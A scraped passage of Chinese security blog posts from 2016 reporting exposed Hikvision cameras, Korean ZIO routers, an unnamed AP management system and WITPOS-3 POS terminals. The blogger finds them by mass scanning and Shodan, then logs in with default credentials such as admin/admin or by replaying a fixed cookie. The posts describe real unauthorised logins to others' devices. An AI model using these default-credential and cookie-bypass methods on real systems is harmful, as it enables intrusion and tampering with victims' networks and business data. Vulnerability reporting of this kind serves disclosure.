u5c31\u5df2\u7ecf\u9646\u9646\u7eed\u7eed\u66dd\u5149\u4e86\u6d77\u5eb7\u5a01\u89c6\u7684\u76d1\u63a7\u8bbe\u5907\u5b58\u5728\u5404\u79cd\u95ee\u9898\uff0c\u800c\u9ed8\u8ba4\u5f31\u53e3\u4ee4\u53ea\u662f\u5176\u4e2d\u7684\u4e00\u4e2a\u6f0f\u6d1e\uff0c\u65f6\u95f4\u8fc7\u53bb\u4e86\u8fd9\u4e48\u4e45\uff0c\u4e3a\u4f55\u7f51\u7edc\u4e0a\u8fd8\u662f\u4f1a\u6709\u8fd9\u4e48\u591a\u5b58\u5728\u6f0f\u6d1e\u7684\u8bbe\u5907\u5462\uff1f</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=449\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/3ab7394544d1558b86c6405aab2ed076.png\" alt=\"2016-10-24 11-30-52\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 18.35 KB - \u5c3a\u5bf8: 702 x 95 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"702\" height=\"95\"></a></div>\u5176\u4e2d\u7684\u539f\u56e0\u5f88\u591a\uff0c\u9500\u552e\u6d41\u7a0b\u4e0d\u89c4\u8303\uff0c\u65e0\u6cd5\u627e\u5230\u8fc7\u53bb\u8d2d\u4e70\u8bbe\u5907\u7684\u7528\u6237\u3002\r\n\r\n<p>\r\n\t\u9500\u552e\u7684\u8bbe\u5907\u6570\u91cf\u5de8\u5927\uff0c\u8981\u82b1\u8d39\u5927\u91cf\u65f6\u95f4\u548c\u91d1\u94b1\u53bb\u5168\u9762\u6e05\u67e5\u3002\r\n</p>\r\n<p>\r\n\t\u4e00\u4e9b\u96f6\u552e\u5546\u5927\u91cf\u7684\u5e93\u5b58\u81f3\u4eca\u8fd8\u5728\u7ee7\u7eed\u9500\u552e\u6f0f\u6d1e\u8bbe\u5907\u3002\r\n</p>\r\n<p>\r\n\t\u4e0b\u9762\u770b\u4e0b\u81ea\u52a8\u5316\u6d4b\u8bd5\u7ed3\u679c</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=450\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/753ee2c3082a0ee1edc00256af0ef5f0.png\" alt=\"2016-10-24 11-42-02\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 325.07 KB - \u5c3a\u5bf8: 1363 x 834 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"551\"></a></div>\u81ea\u52a8\u5316\u6d4b\u8bd5\u4e2d\u63d0\u53d6\u4e86\u4e00\u4e9b\u8bbe\u5907\u7684\u57fa\u672c\u4fe1\u606f\u3002\r\n\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u5176\u5b9e\u4e0d\u6b62\u662f\u6d77\u5eb7\u5a01\u89c6\u7684\u76d1\u63a7\u6709\u95ee\u9898\uff0c\u5176\u4ed6\u5f88\u591a\u76d1\u63a7\u8bbe\u5907\u90fd\u6709\u95ee\u9898\uff0c\u540e\u9762\u6211\u4f1a\u9646\u9646\u7eed\u7eed\u628a\u626b\u63cf\u5230\u7684\u5404\u79cd\u76d1\u63a7\u8bbe\u5907\u81ea\u52a8\u5316\u6d4b\u8bd5\u7ed3\u679c\u53d1\u51fa\u6765\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23418 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5927\u91cfZIO ROUTER\u8def\u7531\u5668\u672a\u6388\u6743\u8bbf\u95ee"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-20, 5:53 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u65e0\u7ebf\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Web\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t</p><p>\r\n\t\tZIO ROUTER\u8def\u7531\u5668\u662f\u97e9\u56fd\u5927\u91cf\u4f7f\u7528\u7684\u8def\u7531\u8bbe\u5907\u4e4b\u4e00\uff0c\u535a\u4e3b\u5229\u7528\u81ea\u5df1\u7684IP\u4fe1\u606f\u68c0\u7d22\u5e73\u53f0\u53d1\u73b0\u5927\u91cfZIO ROUTER\u65e0\u9700\u6388\u6743\u5c31\u53ef\u4ee5\u76f4\u63a5\u5916\u7f51\u64cd\u4f5c\uff0c\u5305\u62ec\u5404\u79cd\u8bbe\u7f6e\uff01\r\n\t</p>\r\n\r\n<h2>\r\n\t\u6848\u4f8b\r\n</h2>\r\n<p>\r\n\t\u901a\u8fc7\u5173\u952e\u5b57\u641c\u7d22\u627e\u5230\u5927\u91cf\u7684\u8bbe\u5907IP\uff0c\u4e0b\u56fe\u662f\u90e8\u5206IP\u622a\u56fe</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=443\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/19fd5775d50136bd483ef54ae89798c6.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-20t09-47-13.082z.png - \u5927\u5c0f: 241.95 KB - \u5c3a\u5bf8: 463 x 669 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"463\" height=\"669\"></a></div>\r\n\r\n<h2>\r\n\t\u6d4b\u8bd5\r\n</h2>\r\n<p>\r\n\t\u9996\u5148\u662f\u8def\u7531\u5668\u8bbe\u5907\u7684\u9996\u9875</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=444\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/c6158a13304bf3f89b41e47f48feec6b.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-20t09-48-18.976z.png - \u5927\u5c0f: 39.34 KB - \u5c3a\u5bf8: 850 x 891 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"850\" height=\"891\"></a></div>\u9996\u9875\u754c\u9762\u6bd4\u8f83\u6e05\u723d\uff0c\u70b9\u51fb\u5230\u8bbe\u7f6e\u91cc\u9762\u754c\u9762\u4e5f\u662f\u76f8\u5f53\u7684\u7b80\u6d01\u660e\u4e86\uff08\u867d\u7136\u535a\u4e3b\u770b\u4e0d\u61c2\u97e9\u6587\uff09<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=445\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/f41209bf3693e06c41a82883a9474146.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-20t09-51-59.136z.png - \u5927\u5c0f: 118.16 KB - \u5c3a\u5bf8: 952 x 698 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"660\"></a></div>\u53ef\u81ea\u5b9a\u4e49DNS<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=446\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/3859f7f40e4ea14e6e6f6b146fc2c9ce.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-21t01-38-23.967z.png - \u5927\u5c0f: 34.92 KB - \u5c3a\u5bf8: 717 x 356 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"717\" height=\"356\"></a></div>\u67e5\u770b\u5728\u7ebf\u7528\u6237\u5217\u8868\uff08\u6211\u4f3c\u4e4e\u770b\u5230\u4e86LG\u7684\u7535\u89c6\uff09<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=447\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/eed018a05ac245aa6745a9cb2b58352c.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-21t01-39-53.911z.png - \u5927\u5c0f: 30.71 KB - \u5c3a\u5bf8: 672 x 207 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"672\" height=\"207\"></a></div>WIFI\u4fe1\u606f\u5305\u542bwifi\u5bc6\u7801<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=448\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/51511382653688321334a0c403dee82e.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-21t01-41-06.464z.png - \u5927\u5c0f: 35.91 KB - \u5c3a\u5bf8: 716 x 404 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"716\" height=\"404\"></a></div>\r\n<div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23417 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u67d0AP\u7ba1\u7406\u7cfb\u7edf\u6743\u9650\u7ed5\u8fc7"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-20, 11:30 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Web\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u901a\u8fc7IP\u6bb5\u626b\u63cf\u7ed3\u679c\u5206\u6790\u53d1\u73b0\u67d0\u4e00\u6b3eAP\u7ba1\u7406\u7cfb\u7edf\u5b58\u5728\u9ed8\u8ba4admin\u5f31\u53e3\u4ee4\u5e76\u4e14\u53ef\u4ee5\u7ed5\u8fc7\u767b\u5f55\u76f4\u63a5\u83b7\u53d6\u8bbe\u5907\u4fe1\u606f\u3002\r\n</p>\r\n\u4e4b\u6240\u4ee5\u8bf4\u662f\u67d0\u7cfb\u7edf\uff0c\u662f\u56e0\u4e3a\u6211\u5728\u8bbe\u5907\u4fe1\u606f\u91cc\u9762\u627e\u4e0d\u5230\u8fd9\u662f\u5c5e\u4e8e\u54ea\u4e2a\u54c1\u724c\uff0c\u4fe1\u606f\u91cc\u9762\u663e\u793a\u7684\u8bbe\u5907\u578b\u53f7\u6bd4\u8f83\u591a\uff0c\u6ca1\u6709\u786e\u5207\u7684\u8bbe\u5907\u4fe1\u606f\uff0c\u53ef\u80fd\u662f\u4e00\u79cd\u5438\u9876AP\u8bbe\u5907\u3002\r\n<h2>\r\n\t\u6848\u4f8b\r\n</h2>\r\n<p>\r\n\t\u5728IP\u6570\u636e\u91cc\u9762\u53d1\u73b0\u5982\u4e0b\u6848\u4f8b\uff0c\u5168\u90e8\u5b58\u5728\u4e8e9000\u7aef\u53e3\u4e0a</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=470\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/a87b7e7d35b69d6f17dd7223d55acf6e.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-29t10-27-48.728z.png - \u5927\u5c0f: 253.07 KB - \u5c3a\u5bf8: 526 x 1019 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"465\" height=\"900\"></a></div>\u5c1d\u8bd5\u8bbf\u95ee\u5176\u4e2d\u4e00\u4e2a<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=439\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/29ff94d22fae592f36c2cfac43d717d4.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-20t03-11-30.465z.png - \u5927\u5c0f: 7.68 KB - \u5c3a\u5bf8: 934 x 299 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"289\"></a></div>\u4f7f\u7528admin / admin\u6210\u529f\u767b\u5f55<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=440\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/4bbf6299e8caf4b408eff7fa546f3d46.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-20t03-12-27.920z.png - \u5927\u5c0f: 64.19 KB - \u5c3a\u5bf8: 928 x 970 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"861\" height=\"900\"></a></div>\r\n\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u5f53\u7136\u5e76\u4e0d\u662f\u6240\u6709\u7684IP\u90fd\u80fd\u4f7f\u7528\u9ed8\u8ba4\u53e3\u4ee4\u767b\u5f55\uff0c\u6709\u4e9b\u4fee\u6539\u4e86\u5bc6\u7801\u7684\u5c31\u65e0\u6cd5\u767b\u5f55\u4e86\uff0c\u673a\u667a\u7684\u535a\u4e3b\u53d1\u73b0\u5176\u5b9e\u8fd9\u91cc\u662f\u53ef\u4ee5\u7ed5\u8fc7\u7684\uff0c\u4f7f\u7528firebug\u6253\u5f00Cookie\u4fe1\u606f\u5982\u4e0b</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=441\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/4011b804aeec264a5a0364c1cd8ddab4.png\" alt=\"2016-10-20 11-14-52\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 74.2 KB - \u5c3a\u5bf8: 803 x 884 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"803\" height=\"884\"></a></div>\u7528\u6237\u540d\u5b58\u50a8\u5728cookie\u91cc\u9762\uff0c\u4f46\u662f\u4f3c\u4e4e\u5e76\u6ca1\u6709sessionid\u8fd9\u4e00\u7c7b\u7684\u4e1c\u897f\uff0c\u4e0d\u8fc7\u6709\u4e2asalt\uff08\u76d0\uff09\u7684\u5b57\u6bb5\uff0c\u8fd9\u4e2a\u6709\u70b9\u610f\u601d\uff5e\r\n\r\n<p>\r\n\t\u6253\u5f00\u53e6\u5916\u4e00\u4e2aIP\u8fdb\u884c\u6d4b\u8bd5\uff0c\u67e5\u770bcookie\u4fe1\u606f\u53d1\u73b0\u5c45\u7136\u548c\u7b2c\u4e00\u4e2a\u7684\u4e00\u6a21\u4e00\u6837...\r\n</p>\r\n<p>\r\n\t\u770b\u5230\u8fd9\u91cc\u6211\u4f3c\u4e4e\u660e\u767d\u4e86\u4e00\u5207\uff0c\u5982\u679c\u6211\u6ca1\u731c\u9519\u7684\u8bdd\uff0c\u670d\u52a1\u7aef\u4f7f\u7528cookie\u6821\u9a8c\u767b\u5f55\u4fe1\u606f\uff0c\u800c\u90a3\u4e2asalt\u5c31\u662f\u4e00\u4e2a\u56fa\u5b9a\u7684\u503c\uff0c\u4e3a\u4e86\u8bc1\u660e\u6211\u7684\u60f3\u6cd5\uff0c\u6211\u5199\u4e86\u4e00\u4e2a\u811a\u672c\u6279\u91cf\u83b7\u53d6\u4fe1\u606f\u8fdb\u884c\u6d4b\u8bd5</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=442\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/a37e035f19ea79b9b8f1668ebf53f542.png\" alt=\"2016-10-20 11-20-37\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 317.19 KB - \u5c3a\u5bf8: 1855 x 1056 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"513\"></a></div>\u6d4b\u8bd5\u7ed3\u679c\u663e\u793a\u6240\u6709\u65e0\u6cd5\u4f7f\u7528admin\u8d26\u53f7\u767b\u5f55\u6709\u7684IP\u90fd\u53ef\u4ee5\u4f7f\u7528Cookie\u76f4\u63a5\u767b\u5f55\u5e76\u8fdb\u884c\u76f8\u5173\u7684\u64cd\u4f5c\u3002\r\n\r\n<h2>\r\n\t\u5371\u5bb3\r\n</h2>\r\n<p>\r\n\t\u672a\u6388\u6743\u64cd\u4f5cAP\u8bbe\u5907\u53ef\u80fd\u5bfc\u81f4\u533a\u57df\u5185\u76f4\u63a5\u65ad\u7f51\uff0c\u50cf\u8fd9\u79cd\u7b80\u6613\u7684AP\u8bbe\u5907\u901a\u5e38\u60c5\u51b5\u4e0b\u63d0\u4f9b\u7ed9\u516c\u5171\u573a\u6240\u4f7f\u7528\uff0c\u7ef4\u62a4\u8d77\u6765\u5e76\u4e0d\u662f\u5f88\u65b9\u4fbf\uff0c\u4e00\u65e6\u88ab\u6062\u590d\u51fa\u5382\u8bbe\u7f6e\uff0c\u91cd\u65b0\u914d\u7f6eAP\u662f\u6bd4\u8f83\u9ebb\u70e6\u7684\uff0c\u800c\u4e14\u5bbd\u5e26\u62e8\u53f7\u4fe1\u606f\u4e5f\u5728\u91cc\u9762\uff0c\u5982\u679c\u6ca1\u6709\u5907\u4efd\u53ef\u80fd\u5c31\u66f4\u9ebb\u70e6\u4e86\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23416 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["WITPOS-3\u6536\u94f6\u7cfb\u7edf\u5f31\u53e3\u4ee4\u53ef\u8fdc\u7a0b\u64cd\u4f5c"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-20, 10:56 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Web\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u6848\u4f8b\r\n</h2>\r\n<p>\r\n\t\u901a\u8fc7shodan.io\u641c\u7d22\u5173\u952e\u8bcd\uff0c\u5f97\u5230400\u591a\u4e2a\u6848\u4f8b\uff0c\u5982\u56fe</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=430\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/beb2d8fc36bc056ca7eb38dfa6e40571.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-20t02-31-01.377z.png - \u5927\u5c0f: 334.13 KB - \u5c3a\u5bf8: 1318 x 2088 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"569\" height=\"900\"></a></div>\u7531\u4e8eshodan\u7684\u6570\u636e\u6bd4\u8f83\u65e7\uff0c\u800c\u4e14\u8fd9\u4e9b\u6536\u94f6\u673a\u901a\u5e38\u662f\u52a8\u6001IP\uff0c\u6240\u4ee5shodan\u4e0a\u7684\u5f88\u591a\u6848\u4f8b\u90fd\u65e0\u6cd5\u8bbf\u95ee\uff0c\u673a\u667a\u7684\u535a\u4e3b\u5f53\u7136\u4e0d\u4f1a\u62c5\u5fc3\u8fd9\u4e2a\u95ee\u9898\u4e86\uff0c\u624b\u5934\u4e0a\u6709\u4e00\u4efd\u6bd4\u8f83\u65b0\u7684IP\u626b\u63cf\u6570\u636e\uff0c\u81ea\u5df1\u52a8\u624b\u4e30\u8863\u8db3\u98df\uff0c\u626b\u63cf\u5230\u4e86\u4e00\u6279\u53ef\u4ee5\u8bbf\u95ee\u7684IP\uff0c\u5982\u56fe<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=431\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/d3ec47efe837122c5d802458a5dc10cb.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-20t02-36-17.674z.png - \u5927\u5c0f: 10.72 KB - \u5c3a\u5bf8: 286 x 333 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"286\" height=\"333\"></a></div>\r\n\r\n<h2>\r\n\t\u6d4b\u8bd5\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u4f7f\u7528\u7684\u662f\u706b\u72d0\u6d4f\u89c8\u5668\uff0c\u6536\u94f6\u7cfb\u7edf\u5fc5\u987b\u4f7f\u7528\u8c37\u6b4c\u6d4f\u89c8\u5668\u624d\u80fd\u7528</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=432\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/3e7e62edaac198921c037c08883997cc.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-20t02-27-37.089z.png - \u5927\u5c0f: 19.65 KB - \u5c3a\u5bf8: 1208 x 457 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"341\"></a></div>\u641e\u4e2a\u8c37\u6b4c\u6d4f\u89c8\u5668\u8fdb\u884c\u6d4b\u8bd5<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=433\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/9cf4b07f7c9e4617d69eae41354475c1.png\" alt=\"2016-10-20 10-40-54\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 269.04 KB - \u5c3a\u5bf8: 804 x 455 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"804\" height=\"455\"></a></div>\u53ef\u4ee5\u770b\u5230\u53ef\u4ee5\u8fdb\u884c\u5173\u673a\u64cd\u4f5c\uff0c\u8fd9\u91cc\u5c1d\u8bd5\u4f7f\u7528\u5bc6\u7801 admin \u767b\u5f55<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=435\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/fcf60506b24d51f94dafdf73da656892.png\" alt=\"2016-10-20 10-41-56\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 215.66 KB - \u5c3a\u5bf8: 806 x 461 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"806\" height=\"461\"></a></div>\u6210\u529f<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=434\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/4adf8757afe72cdd418afb0a4a3000b5.png\" alt=\"2016-10-20 10-44-48\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 29.87 KB - \u5c3a\u5bf8: 1197 x 452 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"340\"></a></div>\u770b\u5230\u53ef\u8fdb\u884c\u5404\u79cd\u64cd\u4f5c<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=436\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/0319c6cba45c609af6053cb6932dfea2.png\" alt=\"2016-10-20 10-48-43\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 42.51 KB - \u5c3a\u5bf8: 1191 x 458 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"347\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=437\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/54d78110545a0d89790f30fdf235f842.png\" alt=\"2016-10-20 10-49-13\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 46.7 KB - \u5c3a\u5bf8: 1197 x 455 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"343\"></a></div>\u6d4b\u8bd5\u53d1\u73b0\u6211\u626b\u63cf\u5230\u7684\u5168\u90e8IP\u90fd\u80fd\u591f\u767b\u5f55\u6210\u529f\r\n\r\n<h2>\r\n\t\u5371\u5bb3\r\n</h2>\r\n<p>\r\n\t\u50cf\u8fd9\u79cdPOS\u6536\u94f6\u7cfb\u7edf\u5176\u5b9e\u6ca1\u6709\u5fc5\u8981\u5bf9\u5916\u5f00\u653eWEB\uff0c\u5f00\u653eWEB\u7684\u539f\u56e0\u6700\u5e38\u89c1\u7684\u5c31\u662f\u8fde\u9501\u5e97\uff0c\u65b9\u4fbf\u603b\u90e8\u7edf\u4e00\u67e5\u8be2\u7ba1\u7406\uff0c\u4f46\u662f\u53ea\u7528\u9ed8\u8ba4\u5f31\u53e3\u4ee4\u76f4\u63a5\u767b\u5f55\u5c31\u4e0d\u592a\u597d\u4e86\uff0c\u5f88\u5bb9\u6613\u88ab\u7206\u7834\uff0c\u540e\u679c\u6bd4\u8f83\u4e25\u91cd\uff0c\u7be1\u6539\u4f1a\u5458\u4fe1\u606f\uff0c\u8425\u4e1a\u6570\u636e\u7b49\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23415 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning 